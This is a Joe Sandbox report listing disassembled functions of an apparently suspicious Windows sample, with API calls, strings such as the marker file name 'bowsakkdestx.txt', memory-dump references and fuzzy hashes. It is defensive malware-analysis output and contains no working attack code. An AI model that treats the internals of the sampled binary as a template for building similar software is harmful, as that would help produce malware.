Part of subcall function 00F80BED: GetLastError.KERNEL32(00000000,?,00F8507F,00000000,00F8500D,?,00F83F7C,?,00F7E6CC,00000000,?,?,?,?,?,0102B3EC), ref: 00F80C13

__lock.LIBCMT ref: 00F85989
___removelocaleref.LIBCMT ref: 00F85998
___freetlocinfo.LIBCMT ref: 00F859B1
_free.LIBCMT ref: 00F859C4

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: 38e907af0e2e4583d28d81da3f599c6bc48611fb43b42976dba84445bbf1ff2b
Instruction ID: f67fe463108d0fc2ec23417fceada6bb63b00ce57637193164d60fca27f3500b
Opcode Fuzzy Hash: 38e907af0e2e4583d28d81da3f599c6bc48611fb43b42976dba84445bbf1ff2b
Instruction Fuzzy Hash: 57016D31902B04E7DB34BF68DC46BDD73A06F40B71F64424EE064AA0D4CF789981BB51

Function 00FB06A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00FB07C3

Strings

func(%lu), xrefs: 00FB0734
lib(%lu), xrefs: 00FB071C
reason(%lu), xrefs: 00FB0758
error:%08lX:%s:%s:%s, xrefs: 00FB0792

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 11605ae00b47f44b0a1f577b4d62fcc6f097d28a5e3abedea3bdc3f2dc9c2e8b
Instruction ID: 2a7905943fe19f7ccba961a0b8282da09c707df45489f693efb4d9bc3a2ad819
Opcode Fuzzy Hash: 11605ae00b47f44b0a1f577b4d62fcc6f097d28a5e3abedea3bdc3f2dc9c2e8b
Instruction Fuzzy Hash: E941A371A043059BDB24EA16CC45BEFB3D8AF85754F00082EF58597141EE79E9089FA2

Function 00FA16EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00FA1726
_strlen.LIBCMT ref: 00FA1734

Part of subcall function 00F85208: __getptd_noexit.LIBCMT ref: 00F85208

_strnlen.LIBCMT ref: 00FA17BF
__lock.LIBCMT ref: 00FA17D0
__getenv_helper_nolock.LIBCMT ref: 00FA17DB

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: aa7274811367281101796000fe163dad8f85a599051f9009c2494f3d5758801b
Instruction ID: b68b14e8b41cbf28eb1a2b98da7cfa540dafd0173f9cf98da106a382ae3227fc
Opcode Fuzzy Hash: aa7274811367281101796000fe163dad8f85a599051f9009c2494f3d5758801b
Instruction Fuzzy Hash: FE31F7B2A05225ABDB217BA8DC01BDE3694BF06B70F161115F814DB281DF7C9800B7A0

Function 00F9B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00F9B70B

Part of subcall function 00F80C62: __FF_MSGBANNER.LIBCMT ref: 00F80C79
Part of subcall function 00F80C62: __NMSG_WRITE.LIBCMT ref: 00F80C80
Part of subcall function 00F80C62: RtlAllocateHeap.NTDLL(00900000,00000000,00000001,00000000,00000000,00000000,?,00F88CF4,00000000,00000000,00000000,00000000,?,00F88BE1,00000018,01067BD0), ref: 00F80CA5

_free.LIBCMT ref: 00F9B71E

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 3d71ad47a8fcd6fd5da0926e239887e5fe40b44c92198ff3b747cfb833ea487a
Instruction ID: 4f1568f378ee8e6cc6e52702a0a0573ecdef6dec6a28dc1331d7ca3105a3faac
Opcode Fuzzy Hash: 3d71ad47a8fcd6fd5da0926e239887e5fe40b44c92198ff3b747cfb833ea487a
Instruction Fuzzy Hash: 21119432809615ABEF313FF4BD85B9D36D89F45770B200725F85496141DF398840A791

Function 00F7F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 00F7F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00F7F0AC
DispatchMessageW.USER32(?), ref: 00F7F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00F7F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 00F7F0D2

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 35901396d0ee15e49f6cdf2708a9341eb1c058d46c1577261067187437c8547e
Instruction ID: 7c11873373cdfb21a640d5cb668a239a166faf6ddca8c57737d279fc1554b044
Opcode Fuzzy Hash: 35901396d0ee15e49f6cdf2708a9341eb1c058d46c1577261067187437c8547e
Instruction Fuzzy Hash: 5201DB31E40308B6F7309A54DC46F9A376CFB44B10F608011FA40BF1C5D7BAA409DBA5

Function 00F7E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 00F7E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00F7E53C
DispatchMessageW.USER32(?), ref: 00F7E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00F7E554
WaitForSingleObject.KERNEL32(0000000A), ref: 00F7E562

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fd9bb352fc6d6a99a81f176f396d54a4a5c842e7fb80fcbfe70033fbc7a785f3
Instruction ID: 18cbddc08cdef9067484329a0bdb85ee364f927b271698f24a0112b4d3713187
Opcode Fuzzy Hash: fd9bb352fc6d6a99a81f176f396d54a4a5c842e7fb80fcbfe70033fbc7a785f3
Instruction Fuzzy Hash: EA01F731F4030976F6309A50DD46F9A7B6CA748B14F644052FA00FA0C5D6BAA506D790

Function 00F7FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 00F7FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00F7FA71
DispatchMessageW.USER32(?), ref: 00F7FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00F7FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 00F7FA94

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 00faca465d55cbb8aa9ad3db045635447bf5db8695abdf15db8b93f88b0dc51a
Instruction ID: 3584f8d7c92adecf2e89303b0cc7f36085a8ef6c28f4e353db4c1764ac4f1946
Opcode Fuzzy Hash: 00faca465d55cbb8aa9ad3db045635447bf5db8695abdf15db8b93f88b0dc51a
Instruction Fuzzy Hash: 1D018631B40309B7FB309E54DD4AFAA3B6DAB48B50F648061FA04AE1C5D7F9A80587A1

Function 00FB73F0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 00FB74E9

Strings

+, xrefs: 00FB7475
0123456789ABCDEF, xrefs: 00FB74D6
, xrefs: 00FB7482

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF
API String ID: 1302938615-1400378107
Opcode ID: 9d6a03154ff751a6822c03cbd1cc5fb503a83568456db0abe476ebfe3d50f0c9
Instruction ID: 9058ad225712d09d27231499d2f62581d2da9ed8db3ff880cf9c4c20ceab6c29
Opcode Fuzzy Hash: 9d6a03154ff751a6822c03cbd1cc5fb503a83568456db0abe476ebfe3d50f0c9
Instruction Fuzzy Hash: 47819EB2A087518FD720DF2AC840A6BBBE5BFC8754F19091DF989A3252D334DD059F92

Function 00F74160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00F741E4
_memmove.LIBCMT ref: 00F74215

Strings

string too long, xrefs: 00F74256
invalid string position, xrefs: 00F74260

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 19ae13d95ef37bf58c7258937f284cb6d0d7798e84479f4789733100abc1aabc
Instruction ID: 4b1e5c14075b7f00f64108b15a7a30194fdec6cd31a858a901960265b77156c3
Opcode Fuzzy Hash: 19ae13d95ef37bf58c7258937f284cb6d0d7798e84479f4789733100abc1aabc
Instruction Fuzzy Hash: 1F310B317001049BDB24DE4CDC8592A73B6EF817107608A1EF869CB786D771FD50EBA2

Function 00F6C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 00F6C5DA
UuidToStringA.RPCRT4(?,00000000), ref: 00F6C5F6
RpcStringFreeA.RPCRT4(00000000), ref: 00F6C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 00F6C687

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: 8f7d35ddcb5cb0102abae38c210ceb310623c005f8183e3f9c908fd9a988fdb8
Instruction ID: 8bc1f5edb93aadd0065d9e341d0d4b1f650bf04f5829bc0a20e814568f6a6876
Opcode Fuzzy Hash: 8f7d35ddcb5cb0102abae38c210ceb310623c005f8183e3f9c908fd9a988fdb8
Instruction Fuzzy Hash: BE210772208301ABD7209F24D808B6BBBE8AF81754F008A2EF4C987251D7BA95089797

Function 00F6C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 00F6C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 00F6C4A9

Strings

bowsakkdestx.txt, xrefs: 00F6C49D

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: 9ea45fda30adf3291fecea878f91acb3c0e79072f02833048bde9999a4fdffb8
Instruction ID: f6d32214e4a4a05b84b49bab7b02b5d1181f0d60ac66f94a335179824bde8c9c
Opcode Fuzzy Hash: 9ea45fda30adf3291fecea878f91acb3c0e79072f02833048bde9999a4fdffb8
Instruction Fuzzy Hash: 3801DB72A8022833DE30B955AC47FFF775C8F51721F000196FE88D7141D5AA594557E1

Function 00F6C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 00F6C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 00F6C44E
DeleteFileA.KERNEL32(?), ref: 00F6C45B

Strings

bowsakkdestx.txt, xrefs: 00F6C442

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 162dd776ef61e2b6009ee68027428d9b2c9949751b1db1fa4a9ec6c24b084031
Instruction ID: 9b5c6b8e99bc693a8ec8a97470137fd6e3ce3aea7b33e1ed5e2644c15deff6b5
Opcode Fuzzy Hash: 162dd776ef61e2b6009ee68027428d9b2c9949751b1db1fa4a9ec6c24b084031
Instruction Fuzzy Hash: 25E04F75A4021C67EB30AAA09D8AFE9776C9B04B01F100091BBC4D60C4D6B5AA848BA1

Function 00F82130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F8218E
__read_nolock.LIBCMT ref: 00F8225E
__filbuf.LIBCMT ref: 00F82281
_memset.LIBCMT ref: 00F822C5

Part of subcall function 00F85208: __getptd_noexit.LIBCMT ref: 00F85208

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: f1e55ddf1b48320da422e8d24451972b863506930d60daf63cc4f741a3860e6f
Instruction ID: 18db910c8848e93939569d4e5e4fc8e15213dfd393326af10dcd801bc38c24bd
Opcode Fuzzy Hash: f1e55ddf1b48320da422e8d24451972b863506930d60daf63cc4f741a3860e6f
Instruction Fuzzy Hash: 7151B131E00705EBEB64AFA9CC846EEB7B1AF11330F248769F835962D1D774AD50AB50

Function 00F9C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00F9C6AD
__isleadbyte_l.LIBCMT ref: 00F9C6DB
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,E1C11FE1,00BFBBEF,00000000,?,00000000,00000000,?,00F9C0ED,?,00BFBBEF,00000003), ref: 00F9C709
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,00BFBBEF,00000000,?,00000000,00000000,?,00F9C0ED,?,00BFBBEF,00000003), ref: 00F9C73F

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: fd62c725982cc0c82f179cf8ace5333bbf666a5cfed3ddee870bf4b1dadef119
Instruction ID: 79d2103c34abba6635d926e23b23ff637f9f3d4c21e4b52949bbe035d9717aa1
Opcode Fuzzy Hash: fd62c725982cc0c82f179cf8ace5333bbf666a5cfed3ddee870bf4b1dadef119
Instruction Fuzzy Hash: 6631A131A00246AFEF219EB5CC44BBA7BA9FF41360F158529F85587190E731E850EBD1

Function 00F6F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000,00000000,?,?), ref: 00F6F125
lstrlenA.KERNEL32(?,?,00000000), ref: 00F6F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 00F6F1A1
CloseHandle.KERNEL32(00000000), ref: 00F6F1A8

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
